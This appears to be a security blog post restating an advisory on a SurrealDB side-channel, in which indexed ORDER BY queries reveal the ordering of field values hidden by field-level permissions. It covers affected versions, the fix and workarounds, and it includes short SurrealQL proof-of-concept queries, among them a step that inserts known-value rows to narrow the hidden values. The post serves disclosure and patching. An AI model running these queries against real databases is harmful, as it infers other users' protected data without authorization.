Listen to this Post
SurrealDB, a multi-model database, supports fine-grained access control through field-level SELECT permissions. These permissions allow administrators to restrict which fields a user can see, even when the user has `SELECT` permission on the table. For example, a `secret` table may define a `code` field with:
DEFINE FIELD code ON secret PERMISSIONS FOR select WHERE owner = $auth.id
This ensures that a user can only see the `code` field when they are the record’s owner — otherwise, the field returns null.
A vulnerability was discovered in versions 3.0.0 through 3.1.4 where this permission model is bypassed when an index exists on the restricted field. The core issue lies in how the query planner handles `ORDER BY` clauses.
When a query issues `ORDER BY
1. The field returns `null` as intended (no direct value leak)
2. The rows are returned in the true sorted order of the hidden values
A user who cannot read the field can still recover the relative ordering of its values across every record they have access to. With additional rows they control in the same table, they can narrow the hidden values toward exact ones through repeated ordered queries.
The guard that prevents restricted fields from appearing in the `WHERE` path was never applied to the `ORDER BY` clause, making this side-channel possible. The same issue also existed in the `DynamicScan` fallback path.
The fix, released in SurrealDB 3.1.5, applies the field-permission guard to the `ORDER BY` clause. When an ordered field is hidden, the index sort pushdown is withheld and rows are sorted after redaction instead.
DailyCVE Form:
Platform: SurrealDB
Version: 3.0.0 – 3.1.4
Vulnerability: ORDER BY side-channel info leak
Severity: Medium (confidentiality only)
date: June 19, 2026
Prediction: Already patched in 3.1.5
What Undercode Say:
This vulnerability is a classic side-channel information disclosure where the ordering of query results leaks more information than the returned values themselves. The index is the enabler — without an index, the leak does not occur.
Analytics of the attack surface:
- The attacker must have table-level SELECT permission
- The restricted field must have a defined index
- The attacker cannot read the field directly — only its relative ordering leaks
- The leak is confidentiality-only; no data modification is possible
- The attack does not cross table, record, or namespace boundaries
Key code paths involved:
-- Vulnerable scenario DEFINE FIELD code ON secret PERMISSIONS FOR select WHERE owner = $auth.id; DEFINE INDEX idx_code ON secret COLUMNS code; -- Index enables the leak -- Attacker query SELECT FROM secret ORDER BY code; -- Rows sorted by hidden values, code returns null
The fix in the query planner (SurrealDB 3.1.5):
// The planner now applies field-permission guard to ORDER BY // Index sort pushdown is withheld when the ordered field is hidden // Rows are sorted after redaction instead
Exploit:
An attacker with `SELECT` permission on a table can exploit this vulnerability by:
1. Identifying an indexed field that has a field-level `SELECT` permission restricting their access
2. Issuing an `ORDER BY` query on that field
3. Observing the row order — while the field returns null, the rows are sorted by the hidden values
Example exploit scenario:
-- Table: secret
-- Records:
-- { id: record:1, code: "alpha", owner: user:1 }
-- { id: record:2, code: "gamma", owner: user:2 }
-- { id: record:3, code: "beta", owner: user:3 }
-- Attacker (not owner of any record) queries:
SELECT FROM secret ORDER BY code;
-- Result (code returns null for all rows, but order reveals sorting):
-- { id: record:1, code: null } -- alpha (smallest)
-- { id: record:3, code: null } -- beta
-- { id: record:2, code: null } -- gamma (largest)
-- Attacker learns: record:1 < record:3 < record:2 in the hidden 'code' values
Refining the attack with controlled rows:
-- Attacker inserts records with known 'code' values
INSERT INTO secret (code, owner) VALUES ('aaaaa', $auth.id);
INSERT INTO secret (code, owner) VALUES ('zzzzz', $auth.id);
-- By observing where unknown records sort relative to known values,
-- the attacker can narrow down the hidden values
SELECT FROM secret ORDER BY code;
The `DynamicScan` fallback was also vulnerable:
-- The same issue existed in the DynamicScan path SELECT FROM secret ORDER BY code; -- Also leaked ordering
Protection:
Primary Mitigation — Upgrade:
Upgrade to SurrealDB 3.1.5 or later.
Workarounds for users unable to upgrade:
1. Force the legacy executor:
SURREAL_PLANNER_STRATEGY=compute-only
The sort then runs after redaction, eliminating the ordering leak.
2. Do not index restricted fields:
-- Remove any index on fields hidden by field-level SELECT permissions REMOVE INDEX idx_code ON secret;
Without the index, the leak does not occur.
3. Restrict at the table level instead:
-- Use table-level permissions rather than field-level for sensitive data DEFINE TABLE secret PERMISSIONS FOR select WHERE owner = $auth.id;
4. Use namespace/database isolation as the primary trust boundary.
Configuration recommendation for production environments:
Ensure all instances are on 3.1.5+ surreal version Verify version If upgrade is not immediately possible, set the environment variable export SURREAL_PLANNER_STRATEGY=compute-only
Impact:
What an attacker can do:
- Learn the relative ordering of a hidden field across other users’ records
- Use controlled rows to narrow hidden values toward exact ones through repeated ordered queries
- Exploit both the index sort pushdown and the DynamicScan fallback paths
What an attacker cannot do:
- Read the field value directly — only its relative ordering leaks
- Cross table, record, or namespace/database boundaries
- Leak anything when the restricted field is not indexed
- Affect root or record-owner sessions
- Modify data — this is a confidentiality-only vulnerability
Business impact:
- Confidentiality breach: Sensitive field values (e.g., API keys, PII, internal identifiers) can be inferred through ordering side-channels
- Limited scope: Only affects indexed fields with field-level `SELECT` permissions on tables the attacker already has `SELECT` access to
- No data corruption: The attack does not alter or destroy data
CVSS assessment (based on PGV-264505D categorization):
| Metric | Value |
|–|-|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (table SELECT) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | Low |
| Integrity | None |
| Availability | None |
Affected versions: SurrealDB ≥ 3.0.0 and < 3.1.5
Credits: George Chen (@geo-chen) for finding and reporting this issue.
References:
- PGV-264505D – SurrealDB: Indexed ORDER BY leaks the value ordering
- GHSA-h4h3-3rfj-x6fq – Infoleak
- SurrealQL Documentation — DEFINE FIELD
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

